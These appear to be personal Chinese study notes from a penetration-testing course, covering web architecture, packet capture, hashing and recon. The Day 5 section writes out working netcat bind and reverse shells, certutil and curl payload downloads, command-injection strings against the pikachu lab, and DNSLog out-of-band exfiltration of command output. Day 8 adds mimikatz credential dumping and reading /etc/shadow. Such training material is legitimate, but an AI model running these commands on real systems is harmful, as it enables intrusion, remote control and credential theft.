小迪

新手来看小迪

这个只是记录本人需要做笔记和复现的,其他了解的就没做很详细


基础入门总思维导图

image-20250606165452123


第2天:基础入门-Web架构_前后端分离站_Docker容器站_集成软件站_建站分配

权限差异

宝塔面板

命令不能执行

文件目录不能查看网站之外的

IIS网站

可以执行命令和查看文件目录

IIS Web服务器安装配置教程(图文)---IIS配置(win10) - pwindy - 博客园

phpstudy

部分可以部分不行

docker->tomcat

虽然可以执行命令和查看文件目录,但只是进入了容器内部,不是真正的,涉及到docker逃逸


第3天:基础入门-Web架构_OSS存储_负载均衡_CDN加速_反向代理_WAF防护

WAF

防护网站防止被攻击,有绕过手段但也不是所有的waf都能绕过

例:D盾

CDN

节点,每个地方去访问一个网站可能都不是同一个ip,需要我们找到真正的ip地址

OSS

存储用的,文件上传不会解析所以没有文件上传漏洞,但是有accesskey漏洞安全问题

反向代理

访问的目标只是一个代理,不是真正的服务器

负载均衡

一个服务器分好几个,存在多个目标


第4天:基础入门-APP架构_小程序_H5+Vue语言_Web封装_原生开发_Flutter

web

ShopXO源码程序+一门app打包

常规web测试

APP

宝塔一键部署

image-20250524101500740

网站目录设置为/www/wwwroot/akaashitest1.com/public

image-20250524101624098

小程序

原生开发

全程自己编写,更复杂但是功能和分类更多更好

反编译加抓包

常规的apk包,可以放jadx查看源码

H5

html5开发的

HBuilderX搭建,这个需要去注册一个微信小程序账号和下载微信开发者工具

小程序

新建项目

image-20250520164840798

名称,目录还有模板

image-20250520164857554

记得写上id还有基础配置里面的id获取

image-20250524182900181

右键点击 uniCloud 文件夹,点击“关联云服务空间或项目”

image-20250520172744442

点新建

image-20250520173224471

到界面后新建按操作买免费的就好了

image-20250520174317426

右键发行小程序-微信

image-20250520164926864

微信开发者服务端口记得打开,设置->安全设置->服务端口

image-20250520175640352

image-20250520180358673

*APP

HbuilderX打包app,Hbuilder怎么打包app,H5打包成app,H5怎么打包成app-CSDN博客


第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载

文件上传下载

虚拟机在要下载的文件目录下面打开cmd

并且执行:

python -m http.server 8000

这会让虚拟机成为一个 web 服务器

image-20250522110637884

棱角社区生成命令

image-20250522110650721

找到命令

certutil.exe -urlcache -split -f http://172.22.173.181:8000/1.txt 1.txt

主机执行

image-20250522110715665

文件下载完成

Linux也是一样的

curl http://172.22.173.181:8000/1.txt -o 1.txt

image-20250522110827134

反弹shell

正向连接:本地监听等待对方连接让对方操作本地

Linux->Windows

nc -e cmd -lvvp 5566
参数 含义
nc Netcat 命令行工具(功能强大的 TCP/UDP 网络调试工具)
-e cmd 执行 cmd.exe(Windows 的命令行),把这个 shell 接入 socket 连接
-l 监听模式(listen)
-v 显示详细信息(verbose)
-v(重复) 更详细(very verbose)
-p 5566 在本地 5566 端口监听

绑定cmd到本地5566端口

nc -e cmd -lvvp 5566

image-20250522113753138

kali用nc进行连接

image-20250522113738395

可以发现到了win10的c盘下面

windows->Linux

需要先查看kali开放了哪些端口

sudo ufw status

image-20250523121649884

绑定sh

nc -e /bin/sh -lvp 80

image-20250523121857175

win10监听

nc 172.22.161.122 80

image-20250523121956011

反向连接:先监听,等对方绑定端口后操作对方

Windows->Linux

win10先监听5566端口

nc -lvp 5566

image-20250523114224072

kali把自己的sh绑定到win10端口上

nc -e /bin/sh 172.22.173.181 5566

image-20250523114236235

win10操作kali的终端:

image-20250523114254619

Linux->windows

kali监听端口

nc -lvp 80

image-20250523122121679

win10的cmd绑定到kali的端口

nc -e cmd 172.22.161.122 80

kali操作win10

image-20250523122436217

内外网

外->内

外网的一台计算机要控制内网的一台计算机,需要内网的去找外网的,也就是反向连接

因为外网的ip是全球唯一的,外网去找内网找到的是内网出去的,再下去内网找就找不到那个具体的

需要外网的先监听,然后内网的把cmd绑到外网的端口上让外网进行操作

image-20250523115511200

内->外

这个就可以直接用正向连接,在外网把自己的cmd绑定到端口,内网直接nc连接端口

因为外网的ip是唯一的,内网连接的那个就是特定的外网

防火墙绕过-正向连接&反向连接&内网服务器

管道符:

| (管道符号)

||(逻辑或)

&&(逻辑与)

&(后台任务符号)

Windows->

| & || &&

Linux->

; | || & && ``(特有``和;)

例子: ping -c 1 127.0.0.1 ; whoami

image-20250523132032017

image-20250523132252777

或者是直接不要127.0.0.1,直接在ping后面加上想要执行的命令

image-20250523132443870

只有

``和;适用

pikachu靶场示例

127.0.0.1 | whoami

image-20250523143011955

确定了是windows之后利用文件下载命令讲nc下载到目标机上面,C盘

这里需要在nc机上开启web服务,注意需要在nc目录下面执行

python -m http.server 80

image-20250523152259301

127.0.0.1 | certutil.exe -urlcache -split -f http://172.22.165.20:80/nc.exe c:\\nc.exe

可以看到目标机成功下载了nc

image-20250523152326436

image-20250523152402244

再利用反向连接让目标机把cmd绑定到我们端口

nc -lvp 4444
127.0.0.1 | c:\\nc.exe -e cmd 172.22.165.20 4444

可以看到成功连接

image-20250523152748039

常用监听端口推荐

端口号 用途说明 是否推荐 备注
4444 渗透测试和反弹 shell 的惯用端口 ✅ 强烈推荐 默认推荐,无需权限
1234 常用调试 / Netcat 默认演示 ✅ 推荐 使用广泛
8888 用于调试 / 代理服务端口 ✅ 推荐 通常未被防火墙拦截
8080 Web服务调试端口 ✅ 推荐 常用于反弹 HTTP shell
53 DNS 端口,绕过限制时可用 ⚠️ 可用但需注意 某些环境绕过防火墙
21 / 22 / 80 / 443 模拟 FTP / SSH / HTTP / HTTPS ⚠️ 仅在特定防火墙策略下用 有时可用来绕过防

防火墙

入站和出战

入站就是检查进来的流量,出战就是检查出去的流量

当入站被限制,比如端口被禁用了,那么就需要反向连接,把控制权给出去

当出战被限制了那就用正向连接

入站限制

image-20250523155447174

image-20250523160620473

image-20250523155516787

image-20250523160700092

没回显

解决方法:

带外回显

网站:DNSLog Platform

ping j0ve3d.dnslog.cn
ping `whoami`.j0ve3d.dnslog.cn

image-20250523171557526

image-20250523171620047

可以看到回显记录,但是这个只能linux适用,在windows里面我们需要用到powershell

powershell
$x=whoami;
$xx=$x.replace('\','xxxx');
$y='.j0ve3d.dnslog.cn';
$z=$xx+$y;
echo $z;
ping $z;
问题 答案
为什么要替换 \ 因为 DNS 域名不允许使用 \ 这样的非法字符
替换成 xxxx 是必须的吗? ❌ 不是必须,只是一个例子
可以替换成别的字符串吗? ✅ 可以,只要是 DNS 合法字符就行,比如 -, _, abc
替换不做会怎么样? ping 命令会失败,域名无效,dnslog 不会收到请求

image-20250523172911366

image-20250523172917375

这里把pikachu靶场的回显关闭

找到文件\phpstudy_pro\WWW\pikachu\vul\rce\rce_ping.php

image-20250523173736226

再去输入就没有回显了,在输入框输入:

127.0.0.1 | powershell $x=whoami;$xx=$x.replace('\','xxxx');$y='.n94843.dnslog.cn';$z=$xx+$y;ping $z;

记录:

image-20250523174706544

回显成功

反弹shell

就是之前一样的方法


第6天:基础入门-抓包技术&HTTPS协议&APP&小程序&PC应用&WEB&转发联动

bp在模拟器安装证书

settings导出证书

image-20250523180854417

image-20250523180930737

选择保存位置,保存位bp.cer

模拟器打开共享文件夹

image-20250523181307806

选择证书所在目录之后点下面的安卓小人就可以看到目录了

在模拟器找到设置->网络和互联网->WLAN->WLAN偏好设置->高级->安装证书,找到我们之前的目录选择bp.cer进行安安装就好了

Charles发送包到bp

Charles抓包工具(破解版) - 小葛师兄 - 博客园

Charles把包发送到bp

image-20250524125116217

image-20250524125204212

之后的微信小程序抓包就通过用charles抓包然后发送到bp进行查看

或者本地开启了系统代理也可以抓包送到bp

利用 Proxifier转发bp对pc的软件进行抓包

Burpsuite+Proxifier抓取exe数据包 - websec80 - 博客园

设置代理规则来抓特定程序的包


第7天:基础入门-抓包技术&全局协议&封包监听&网卡模式&APP&小程序&PC应用

除http和https以外的协议抓包

比如模拟器游戏,小程序游戏

用科来或者wireshark抓本地

科来

选择正在使用的网卡

image-20250528113711318

开始监听抓包

微信小游戏

image-20250528113802406

image-20250528113807056

可以看到抓到了

模拟器游戏

科来是一样的操作,打开模拟器游戏

image-20250528114002769

image-20250528114006801

也是抓到了的

image-20250528114051619

pc的app

监听正在使用的网卡,打开pc的app

image-20250528190941156

可以看到ip和ip的地理位置

数据包分析

用科来就是来抓除开http和https之外的协议,所以bp不支持,只能用科来自带的生成器进行分析

image-20250529122411414

image-20250529122425639

image-20250529122456499

image-20250529122514954

封包工具

选择进程

image-20250528185234672

开始监听之后就会开始抓包,点一个地方,只要有刷新出来新的东西就会有新的数据包

封包工具只能在模拟器的app里面可以抓到,其他的不行

渗透测试

抓包得到应用的资产信息-IP,域名等

利用IP和域名上的服务器做测试(

web web攻防

端口-数据库 第三方软件等 其他服务攻防

API接口 oss资源-云安全

逆向破解

反编译源码中去找资产信息 -> 渗透测试,后面与渗透测试一致

源码中泄露的key,去测试安全性

逆向,代码和产品的设计逻辑安全(不规范加密,可以绕过的策略,自己删除验证重打包绕过验证等)


第8天:基础入门-算法分析&传输加密&数据格式&密文存储&代码混淆&逆向保护

数据传输不是简单的明文传输,有时候会做编码加密

在做测试的时候收集到的是编码加密过的的话,后续进行测试,payload也需要进行相同的编码

常见的传输格式

json&xml

密码加密

zzzcms演示

用phpstudy搭建zzzcms,用Navicat连接本地数据库查看用户

在pre_ucenter_members表里面

image-20250601105037003

可以发现有盐值

image-20250601105416435

md5+salt

Discuz3.2演示

也是在phpstudy搭建

image-20250601102921093

image-20250601102931479

也是md5加密

DIscuz3.5演示

image-20250601105508054

这里的密文就不是简单的md5加密了,bcrypt 哈希加密(不是可逆加密,而是哈希)

Bcrypt 哈希的结构一般是这样的:

$2y$10$OgIP9HbdJlqXY6XrK6y7oOQ0pGyhJDqypor1jTHGOfhNxJbXNNY9q
 └┬┘ └┬┘ └─────────────┬────────────────────────────────────┘
  │    │             Salt + 密文部分(base64编码)
  │    └─ 工作因子(cost factor),即加密轮数是 2^10 = 1024
  └─ 哈希标志($2y 是 bcrypt 的一种变体)

$2y$:标志使用的是 bcrypt 算法的一种版本(其他版本还包括 $2a$$2b$ 等)。

10:cost factor,表示计算复杂度,数字越大越慢、更安全。

剩余部分是用 bcrypt 算法生成的哈希值,包含 salt 和密码的哈希值。

windows

mimikatz工具查看

启动

privilege::debug

提升 Mimikatz 的权限,使其能够访问某些受保护的进程和内存区域

sekurlsa::logonpasswords full

用于提取当前系统中所有用户的登录凭证信息,包括明文密码、密码哈希、Kerberos 票据等

image-20250601111501870

这里可以看到这些

msv :

  • MSV(MSV1_0)模块是 Windows 的 NTLM 认证模块。
  • 这是最常见的凭据类型,尤其是本地登录或远程桌面登录(RDP)后。
pgsql复制编辑[00000003] Primary           <-- 表示是一个主登录会话(LogonSession ID)
* Username : Administrator   <-- 当前用户
* Domain   : WIN-AGPMHM94DDK <-- 所属域(或主机名)
* NTLM     : 4b34f009686328c43587b910abc49ec7 <-- NTLM 哈希(可用于横向移动)
* SHA1     : 0fa08b4a9efd07e05288d89761d92d598acbb62b <-- SHA1版本的密码哈希
* DPAPI    : 0fa08b4a9efd07e05288d89761d92d59 <-- 用于解密受保护数据(如浏览器密码)

✅ 最关键的是 NTLM 哈希,可以用于 Pass-the-Hash(PTH)攻击

4b34f009686328c43587b910abc49ec7

可以拿去md5解密

linux

cat /etc/shadow

查看shadow文件

image-20250601112114411

源码加密

php文件演示

网站目录下的1.php写入:

<?php phpinfo();?>

访问

image-20250601113508228

对1.php文件进行加密变成

<?php
//Obfuscate by https://uutool.cn/php/
 phpinfo();


访问和之前的一样界面

jsfuck

image-20250601114106427


第9天:基础入门-算法逆向&散列对称非对称&JS源码逆向&AES&DES&RSA&SHA

我自己整理的一些编码合集:目前遇到过的编码 - Anaxa - 博客园

安全测试中:
密文-有源码直接看源码分析算法(后端必须要有源码才能彻底知道)
密文-没有源码1、猜识别 2、看前端JS(加密逻辑是不是在前端)
#算法加密-概念&分类&类型
1. 单向散列加密 -MD5 
单向散列加密算法的优点有(以MD5为例):
方便存储,损耗低:加密/加密对于性能的损耗微乎其微。
单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解的。
常见的单向散列加密算法有:
MD5 SHA MAC CRC

2. 对称加密 -AES
对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
常见的对称加密算法有:
DES AES RC4

3. 非对称加密 -RSA
非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
常见的非对称加密算法:
RSA RSA2 PKCS

#加密解密-识别特征&解密条件
MD5密文特点:
1、由数字“0-9”和字母“a-f”所组成的字符串
2、固定的位数 16 和 32位
解密需求:密文即可,但复杂明文可能解不出

BASE64编码特点:
0、大小写区分,通过数字和字母的组合
1、一般情况下密文尾部都会有两个等号,明文很少的时候则没有
2、明文越长密文越长,一般不会出现"/""+"在密文中

AES、DES密文特点:
同BASE64基本类似,但一般会出现"/"和"+"在密文中
解密需求:密文,模式,加密Key,偏移量,条件满足才可解出

RSA密文特点:
特征同AES,DES相似,但是长度较长
解密需求:密文,公钥或私钥即可解出

其他密文特点见:
1.30余种加密编码类型的密文特征分析(建议收藏)
https://mp.weixin.qq.com/s?__biz=MzAwNDcxMjI2MA==&mid=2247484455&idx=1&sn=e1b4324ddcf7d6123be30d9a5613e17b&chksm=9b26f60cac517f1a920cf3b73b3212a645aeef78882c47957b9f3c2135cb7ce051c73fe77bb2&mpshare=1&scene=23&srcid=1111auAYWmr1N0NAs9Wp2hGz&sharer_sharetime=1605145141579&sharer_shareid=5051b3eddbbe2cb698aedf9452370026#rd

2.CTF中常见密码题解密网站总结(建议收藏)
https://blog.csdn.net/qq_41638851/article/details/100526839

3.CTF密码学常见加密解密总结(建议收藏)
https://blog.csdn.net/qq_40837276/article/details/83080460

#解密实例-密文存储&数据传输
1、密码存储(后端处理)
X3.2-md5&salt
DZ对应代码段-/uc_server/model/user.php
	function add_user() {
		$password = md5(md5($password).$salt);
    }
    
<?PHP
$h = 'd7192407bb4bfc83d28f374b6812fbcd';
$hash=md5(md5('123456').'3946d5');
if($h==$hash){
	echo 'ok';
}else{
	echo 'no';
}
?>

X3.5-hash
DZ对应代码段-/uc_server/model/user.php
	function add_user() {
		$salt = '';
		$password = $this->generate_password($password);
    }

	function generate_password($password) {
		$algo = $this->get_passwordalgo();
		$options = $this->get_passwordoptions();
		$hash = password_hash($password, $algo, $options);
	}

<?PHP
$hash = '$2y$10$KA.7VYVheqod8F3X65tWjO3ZXfozNA2fC4oIZoDSu/TbfgKmiw7xO';
if (password_verify('123456', $hash)) {
    echo 'ok';
} else {
    echo 'error';
}
?>

2、数据通讯
-博客登录-zblog(前端处理)
<script src="script/md5.js" type="text/javascript"></script>
$("#btnPost").click(function(){
    var strPassWord=$("#edtPassWord").val();
    $("form").attr("action","cmd.php?act=verify");
    $("#password").val(MD5(strPassWord));


第10天:基础入门-HTTP数据包&Postman构造&请求方法&请求头修改&状态码判断

image-20250603215831411

request

image-20250603215603134

response

image-20250603215630933

image-20250603215647636

image-20250603215655298

 #数据-方法&头部&状态码 
-方法 
1、常规请求-Get 
2、用户登录-Post 
•get:向特定资源发出请求(请求指定页面信息,并返回实体主体); 
•post:向指定资源提交数据进行处理请求(提交表单、上传文件),又可能导致新的资
源的建立或原有资源的修改; 
•head:与服务器索与 get 请求一致的相应,响应体不会返回,获取包含在小消息头中
的原信息(与 get 请求类 
似,返回的响应中没有具体内容,用于获取报头); 
•put:向指定资源位置上上传其最新内容(从客户端向服务器传送的数据取代指定文档
的内容),与 post 的区别是 put 为幂等,post 为非幂等; 
•trace:回显服务器收到的请求,用于测试和诊断。trace 是 http8 种请求方式之中
最安全的 l 
•delete:请求服务器删除 request-URL 所标示的资源*(请求服务器删除页面) 
•option:返回服务器针对特定资源所支持的 HTML 请求方法 或 web 服务器发送*测试
服务器功能(允许客户 端查看服务器性能); 
•connect : HTTP/1.1 协议中能够将连接改为管道方式的代理服务器 
 
-参数 
演示: 
1、UA 头-设备平台 
2、Cookie-身份替换 
 
-Response 状态码 
1、数据是否正常 
2、文件是否存在 
3、地址自动跳转 
4、服务提供错误 
注:容错处理识别 
•-1xx:指示信息—表示请求已接收,继续处理。 
•-2xx:成功—表示请求已经被成功接收、理解、接受。 
•-3xx:重定向—要完成请求必须进行更进一步的操作。 
•-4xx:客户端错误—请求有语法错误或请求无法实现。 
•-5xx:服务器端错误—服务器未能实现合法的请求。 
•200 OK:客户端请求成功 
•301 redirect:页面永久性移走,服务器进行重定向跳转;

电脑浏览器和模拟器中的浏览器

电脑

image-20250604214409890

image-20250604213418745

模拟器

image-20250604214357477

image-20250604214015218

把手机的发送到电脑,显示为手机界面格式

image-20250604214319441

在模拟器抓的包用电脑去访问和在模拟器显示的数据是不一样的:

电脑显示的

image-20250604215317174

模拟器显示的

image-20250604215525261

当之前在这个网站保存或者登录过的,在下一次再次访问的时候会直接自动登录

这个浏览器已经登录了后台

image-20250604220907360

后面再次访问这个网站也是直接登录,但是相同的地址其他浏览器访问就会显示没登陆

image-20250604220955914

没登陆抓的包

GET /admin.php HTTP/1.1
Host: discuz5:4509
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 9; ASUS_I005DA Build/PI) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.70 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Lfnr_2132_saltkey=qycs0ttw; Lfnr_2132_lastvisit=1749042692; Lfnr_2132_sid=GIuGGZ; Lfnr_2132_lastact=1749046292%09admin.php%09; Lfnr_2132_darkmode=la
Connection: close

登录之后抓的包

GET /admin.php HTTP/1.1
Host: discuz5:4509
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Lfnr_2132_saltkey=EOHYq0Iw; Lfnr_2132_lastvisit=1749042579; Lfnr_2132_sid=l9Qqoj; Lfnr_2132_lastact=1749046255%09admin.php%09; Lfnr_2132_darkmode=la; Lfnr_2132_sendmail=1; Lfnr_2132_seccodecSl9Qqoj=3.eb941eabda012ea4ff; Lfnr_2132_ulastactivity=4c195O8tviIP1b9nvGXyL3qzXE5xC7uyZyTjirExQ7QYqIjtkPHO; Lfnr_2132_auth=c39dYhv9ec1xLeFnr2b12HQXB3eHk5M3uYHrmrWB7Wx15euxZ1BXFHoTIOQLlSsI1yrafRq2s%2FZhzhAbqlOi; Lfnr_2132_lastcheckfeed=1%7C1749046246; Lfnr_2132_checkfollow=1; Lfnr_2132_lip=127.0.0.1%2C1749046118
Upgrade-Insecure-Requests: 1
Priority: u=0, i

可以发现Cookie不一样,登录过的Cookie多了很多东西,我们把登陆过的Cookie放进没登陆的之后放包

image-20250604221309344

可以发现没登陆的这里也是直接显示登录了

状态码

根据文件判断:

200 文件存在

404 文件不存在

403 文件夹存在

500 可能存在可能不存在

3xx 可能存在可能不存在

  • 容错处理 网站访问错误就自动跳转到某个页面 不存在
  • 访问某个文件 自动触发跳转 存在

网站根目录

image-20250606103045734

访问index.php,301

image-20250606103100925

admin.php,200

image-20250606103141438

abc.php,404

image-20250606103227785

api文件夹,403

image-20250606103833650

bp对路径进行爆破

先抓一个包

image-20250606110841027

发送到Intruder,选中路径,clear之后点add

image-20250606110939224

点load把字典放进去,然后开始爆破

image-20250606111150609

看结果

image-20250606111559010

通过状态码来判断文件是否存在

御剑后台扫描

自动化

image-20250606112017054

登录包既有明文又有密文

这种的需要我们密文正确才可以登录

Postman

类似于hackbar(个人感觉)


信息打点总思维导图

image-20250606170200866


第12天:信息打点-Web应用&企业产权&指纹识别&域名资产&网络空间&威胁情报

企业查询

企业信息 小蓝本 https://www.xiaolanben.com/

企业信息 爱企查 https://aiqicha.baidu.com/

我们主要关注网址和知识产权里面的app和微信公众号

image-20250609222936278

image-20250609223322833

备案查询

备案信息 备案管理系统 https://beian.miit.gov.cn/

image-20250610212744289

image-20250610212806240

用这个查是因为可能用企业查询查到不一样的,就是更加全面的搜集信息

域名查询

注册域名 域名注册查询 https://buy.cloud.tencent.com/domain

image-20250610213356526

image-20250610213406824

可以看到很多都被注册了,我们可以通过这些域名去找目标企业的网址

IP地址反查

IP 反查 IP 反查域名 https://x.threatbook.cn/

image-20250610214031487

通过ip来查域名

证书查询

baidu.com的证书

image-20250611150521230

tieba.baidu.com的证书

image-20250611150609210

可以发现证书都是一样的

通过看证书来看哪些网站用过子域名

证书查询 CertificateSearch https://crt.sh/

image-20250611152807157

用网站查看证书可以找到我们之前可能没有收集到的新域名,比如说:

image-20250611152901418

image-20250611152917310

DNS记录

DNS 数据 dnsdumpster https://dnsdumpster.com/

longi.com-c61e2729-362a-49d1-a4a8-f7afb64d79db

1. A记录 (Address Record)

  • 绿色圈“A”表示:A记录
  • 它把域名(如 longi.com)解析为对应IP地址。
  • 图中:
    longi.com → 52.80.140.42(这台服务器托管在北京 Amazon AWS)

2. MX记录 (Mail Exchange Record)

  • 蓝色圈“MX”表示:MX记录
  • 这是邮件交换记录,定义了接收该域邮件的服务器。
  • 图中显示:
    • mdn.corpemail.net
    • longigroup-com.corpsmtp.cn
    • mdn.corp-email.cn
      这些是 longi.com 域名用于接收邮件的服务器。

3. 其他DNS信息

  • DNS服务器(NS记录)
    • 比如 vip4.alidns.com 是 longi.com 的 DNS 服务器,属于阿里云。
  • 相关IP与提供商信息
    • 比如 52.80.140.42 是 AWS 北京机房(ASN: 59680)。
    • 170.33.40.137 属于新加坡Cloud(AS134963)。
    • 192.241.207.6178.62.221.58 是 DigitalOcean 的IP。
    • 23.91.98.8 属于香港UCloud。

4. 连接关系

  • 图中箭头表示解析或依赖关系:
    • 比如邮件服务器 mdn.corp-email.cn 解析到了某个IP。
    • longigroup-com.corpsmtp.cn 也解析到了具体IP。

网络空间

网络空间 FOFA https://fofa.info/

网络空间 全球鹰 http://hunter.qianxin.com/

网络空间 360 https://quake.360.cn/quake/

fofa

查看语法

image-20250611153751743

根域名进行查询:

image-20250611153857509

image-20250611153912832

可以看到网址和端口

全球鹰

image-20250611222503203

image-20250611223502343

360

image-20250611223055711

枚举解析

枚举解析 DNSGrep 子域名查询 https://www.dnsgrep.cn/subdomain

image-20250611223752020

image-20250611223840297

OneForAll

命令:

python oneforall.py --target xiaodi8.com run

或者批量的:

python oneforall.py --target 1.txt run

1.txt里面就是多个域名批量解析

得到的结果:

image-20250612110607342

image-20250612110630422

image-20250612110636140

指纹识别

指纹识别 TideFinger 潮汐 http://finger.tidesec.net/

image-20250612111226794wappalyzer

插件,国外工具

image-20250616195108303

CMSMap

CMSeek

标签 名称 地址

企业信息 天眼查 https://www.tianyancha.com/

企业信息 小蓝本 https://www.xiaolanben.com/

企业信息 爱企查 https://aiqicha.baidu.com/

企业信息 企查查 https://www.qcc.com/

企业信息 国外企查 https://opencorporates.com/

企业信息 启信宝 https://www.qixin.com/

备案信息 备案信息查询 http://www.beianx.cn/

备案信息 备案管理系统 https://beian.miit.gov.cn/

公众号信息 搜狗微信搜索 https://weixin.sogou.com/

注册域名 域名注册查询 https://buy.cloud.tencent.com/domain

IP 反查 IP 反查域名 https://x.threatbook.cn/

IP 反查 IP 反查域名 http://dns.bugscaner.com/

标签 名称 地址

DNS 数据 dnsdumpster https://dnsdumpster.com/

证书查询 CertificateSearch https://crt.sh/

网络空间 FOFA https://fofa.info/

网络空间 全球鹰 http://hunter.qianxin.com/

网络空间 360 https://quake.360.cn/quake/

威胁情报 微步在线 情报社区 https://x.threatbook.cn/

威胁情报 奇安信 威胁情报中心 https://ti.qianxin.com/

威胁情报 360 威胁情报中心 https://ti.360.cn/#/homepage

枚举解析 在线子域名查询 http://tools.bugscaner.com/subdomain/

枚举解析 DNSGrep 子域名查询 https://www.dnsgrep.cn/subdomain

枚举解析 工具强大的子域名收集器 https://github.com/shmilylty/OneForAll

标签 名称 地址

指纹识别 在线 cms 指纹识别 http://whatweb.bugscaner.com/look/

指纹识别 Wappalyzer https://github.com/AliasIO/wappalyzer

指纹识别 TideFinger 潮汐 http://finger.tidesec.net/

指纹识别 云悉指纹 https://www.yunsee.cn/

指纹识别 WhatWeb https://github.com/urbanadventurer/WhatWeb

指纹识别 数字观星 Finger-P https://fp.shuziguanxing.com/#/

标签 名称 地址

网络空间 钟馗之眼 https://www.zoomeye.org/

网络空间 零零信安 https://0.zone/

网络空间 Shodan https://www.shodan.io/

网络空间 Censys https://censys.io/

网络空间 ONYPHE https://www.onyphe.io/

网络空间 FullHunt https://fullhunt.io/

网络空间 Soall Search Engine https://soall.org/

网络空间 Netlas https://app.netlas.io/responses/

网络空间 Leakix https://leakix.net/

网络空间 DorkSearch https://dorksearch.com/

威胁情报 VirusTotal 在线查杀平台 https://www.virustotal.com/gui/

威胁情报 VenusEye 威胁情报中心 https://www.venuseye.com.cn/

威胁情报 绿盟科技 威胁情报云 https://ti.nsfocus.com/

威胁情报 IBM 情报中心 https://exchange.xforce.ibmcloud.com/

威胁情报 天际友盟安全智能平台 https://redqueen.tj-un.com

威胁情报 华为安全中心平台 https://isecurity.huawei.com/sec

威胁情报 安恒威胁情报中心 https://ti.dbappsecurity.com.cn/

威胁情报 AlienVault https://otx.alienvault.com/

威胁情报 深信服 https://sec.sangfor.com.cn/

威胁情报 丁爸情报分析师的工具箱 http://dingba.top/

威胁情报 听风者情报源 start.me https://start.me/p/X20Apn

威胁情报 GreyNoise Visualizer https://viz.greynoise.io/

威胁情报 URLhaus 数据库 https://urlhaus.abuse.ch/browse/

威胁情报 Pithus https://beta.pithus.org/


第13天:信息打点-Web应用&源码泄漏&开源闭源&指纹识别&GIT&SVN&DS&备份

指纹查询

image-20250707104626646

image-20250707193431265

这里其实最重要的就是看cms的信息的,但是不知道为啥我这个不显示,是z-blogs

我们去找源码下载,我们知道编程语言是php所以选择php的

image-20250707193512624

会发现有这么一些文件和目录

image-20250707193539592

我们试着访问zb_system

image-20250707193748406

会发现返回了这个,可以知道这个文件目录是存在的,zb_users也是

image-20250707193833405

所以大概就知道这个网站用的就是这套源码

源码泄露

备份

网站管理员在备份网站源码的时候可能会把整个源码打包成一个压缩包放在网站目录下面,这个时候用扫描工具去扫就可能会扫到,下载之后就得到了整套源码

image-20250707194857692

扫描

git 源码泄露

Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码

我们在网站目录后面加上.git来查看是否有着目录

漏洞利用工具:GitHack

github项目地址:https://github.com/lijiejie/GitHack

用法示例:

GitHack.py http://www.openssl.org/.git/

利用这个我们可以把网站源码下载下来查看

SVN 源码泄露

也是在后面加.svn看是否有这个目录

漏洞利用工具:Seay SVN漏洞利用工具

DS_Store 文件泄露

.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件

漏洞利用工具:

github项目地址:https://github.com/lijiejie/ds_store_exp

用法示例:

ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

这个只能得到目录架构,因为下载下来的文件目录里面是空的

composer.json 架构

也是在目录下有个.composer.json目录

image-20250708130643796

文件

xiaodi8.com

看文件,找特殊文件

image-20250708130933771

一般就是找js配置文件,这里我们看到了zblogphp.js文件

image-20250708131036320

去github上面搜索

image-20250708131123359

可以看到code部分有很多

image-20250708131158583

issues只有一个,方便查看,点进去看

image-20250708131237072

image-20250708131411263

我们去目标网站试试这些文件和目录是否存在

image-20250708131348957

image-20250708131425951

有,那么就可以确定目标网站用的就是这套源码

互助网找源码


第14天:信息打点-JS架构&框架识别&泄漏提取&API接口枚举&FUZZ爬虫&插件项目

0、什么是JS渗透测试? 
    在Javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞 JS开发的WEB应用和PHP,JAVA,NET等区别在于即没有源代码,也可以通过浏览器的查看源代码获取真实的点。获取URL,获取JS敏感信息,获取代码传参等,所以相当于JS开发的WEB应用属于白盒测试(默认有源码参考),一般会在JS中寻找更多的URL地址,在JS代码逻辑(加密算法,APIkey配置,验证逻辑等)进行后期安全测试。
前提:Web应用可以采用后端或前端语言开发 
-后端语言:php java python .NET 浏览器端看不到真实的源代码 -前端语言:JavaScript(JS)和JS框架 浏览器端看到真实的源代码 例子:
zblog:核心功能采用PHP语言去传输接受 
vue.js:核心功能采用框架语法(JS)传输接受 
1、JS安全问题 
    源码泄漏 
    未授权访问=JS里面分析更多的URL访问确定接口路径     敏感key泄漏=JS文件中可能配置了接口信息(云应用,短信,    API接口安全=(代码中加密提交参数传递,更多的URL路径)
邮件,
数据库等)
2、流行的Js框架有那些? 
    Vue NodeJS jQuery Angular等 
3、如何判定JS开发应用? 
    插件wappalyzer 
    源程序代码简短 
    引入多个js文件 
    一般有/static/js/app.js等顺序的js文件     一般cookie中有connect.sid 
4、如何获取更多的JS文件? 
    手工-浏览器搜索 
    半自动-Burpsuite插件 
    工具化-各类提取&FUZZ项目 
5、如何快速获取价值信息? 
    src= 
   path= 
    method:"get" 
    http.get(" 
    method:"post" 
    http.post("
    $.ajax
    http://service.httppost
